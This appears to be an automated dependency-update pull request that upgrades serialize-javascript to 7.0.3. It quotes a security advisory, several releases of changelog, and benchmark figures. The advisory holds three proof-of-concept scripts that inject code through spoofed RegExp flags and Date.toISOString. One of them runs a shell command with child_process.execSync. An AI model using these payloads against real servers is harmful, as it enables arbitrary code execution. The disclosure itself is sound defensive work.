fix(deps): update dependency serialize-javascript to v7 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
serialize-javascript	6.0.2 → 7.0.3

GitHub Vulnerability Alerts

GHSA-5c6j-r48x-rmvq

Impact

The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.

While RegExp.source is sanitized, RegExp.flags is interpolated directly into the generated output without escaping. A similar issue exists in Date.prototype.toISOString().

If an attacker can control the input object passed to serialize(), they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via eval, new Function, or <script> tags), the injected code executes.

javascript
const serialize = require('serialize-javascript');
// Create an object that passes instanceof RegExp with a spoofed .flags
const fakeRegex = Object.create(RegExp.prototype);
Object.defineProperty(fakeRegex, 'source', { get: () => 'x' });
Object.defineProperty(fakeRegex, 'flags', {
  get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"'
});
fakeRegex.toJSON = function() { return '@​placeholder'; };
const output = serialize({ re: fakeRegex });
// Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")}
let obj;
eval('obj = ' + output);
console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed!

#h2. PoC 2: Code Injection via Date.toISOString()

javascript
const serialize = require('serialize-javascript');
const fakeDate = Object.create(Date.prototype);
fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; };
fakeDate.toJSON = function() { return '2024-01-01'; };
const output = serialize({ d: fakeDate });
// Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")}
eval('obj = ' + output);
console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed!

#h2. PoC 3: Remote Code Execution

javascript
const serialize = require('serialize-javascript');
const rceRegex = Object.create(RegExp.prototype);
Object.defineProperty(rceRegex, 'source', { get: () => 'x' });
Object.defineProperty(rceRegex, 'flags', {
  get: () => '"+require("child_process").execSync("id").toString()+"'
});
rceRegex.toJSON = function() { return '@​rce'; };
const output = serialize({ re: rceRegex });
// Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")}
// When eval'd on a Node.js server, executes the "id" system command

Patches

The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3

---

Release Notes

yahoo/serialize-javascript (serialize-javascript)

v7.0.3

Compare Source

• fix(CVE-2020-7660): fix for RegExp.flags and Date.prototype.toISOString (#​207) 2e609d0
• build(deps-dev): bump lodash from 4.17.21 to 4.17.23 (#​206) 42b7cdb

---

v7.0.2

Compare Source

What's Changed

• ci: bump GitHub Actions to latest versions by @​okuryu in #​203
• ci: setup trusted publishing workflow by @​okuryu in #​204
• release: v7.0.2 by @​okuryu in #​205

Full Changelog: yahoo/serialize-javascript@v7.0.1...v7.0.2

v7.0.1

Compare Source

What's Changed

• Add warning about using this package to send arbitrary data to worker threads by @​valadaptive in #​200
• security: sanitize function bodies by @​redonkulus in #​199
• docs: tweak README by @​okuryu in #​201
• release: v7.0.1 by @​okuryu in #​202

New Contributors

• @​redonkulus made their first contribution in #​199

Full Changelog: yahoo/serialize-javascript@v7.0.0...v7.0.1

v7.0.0

Compare Source

Breaking Changes

• requires Node.js v20+

What's Changed

• Bump mocha from 10.2.0 to 10.4.0 by @​dependabot[bot] in #​178
• Bump mocha from 10.4.0 to 10.5.2 by @​dependabot[bot] in #​183
• Bump nyc from 15.1.0 to 17.0.0 by @​dependabot[bot] in #​184
• Bump braces from 3.0.2 to 3.0.3 by @​dependabot[bot] in #​181
• Bump mocha from 10.5.2 to 10.7.0 by @​dependabot[bot] in #​185
• Bump mocha from 10.7.0 to 10.7.3 by @​dependabot[bot] in #​186
• Bump nyc from 17.0.0 to 17.1.0 by @​dependabot[bot] in #​187
• Bump mocha from 10.7.3 to 10.8.2 by @​dependabot[bot] in #​188
• feat: test on Node.js 22 and built-in test runner by @​okuryu in #​192
• Generate UID without randombytes dependency by @​valadaptive in #​196
• release: v7.0.0 by @​okuryu in #​197

New Contributors

• @​valadaptive made their first contribution in #​196

Full Changelog: yahoo/serialize-javascript@v6.0.2...v7.0.0

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📊 Benchmark results

Comparing with 50d818d

• Dependency count: 1,083 (no change)
• Package size: 352 MB (no change)
• Number of ts-expect-error directives: 362 (no change)

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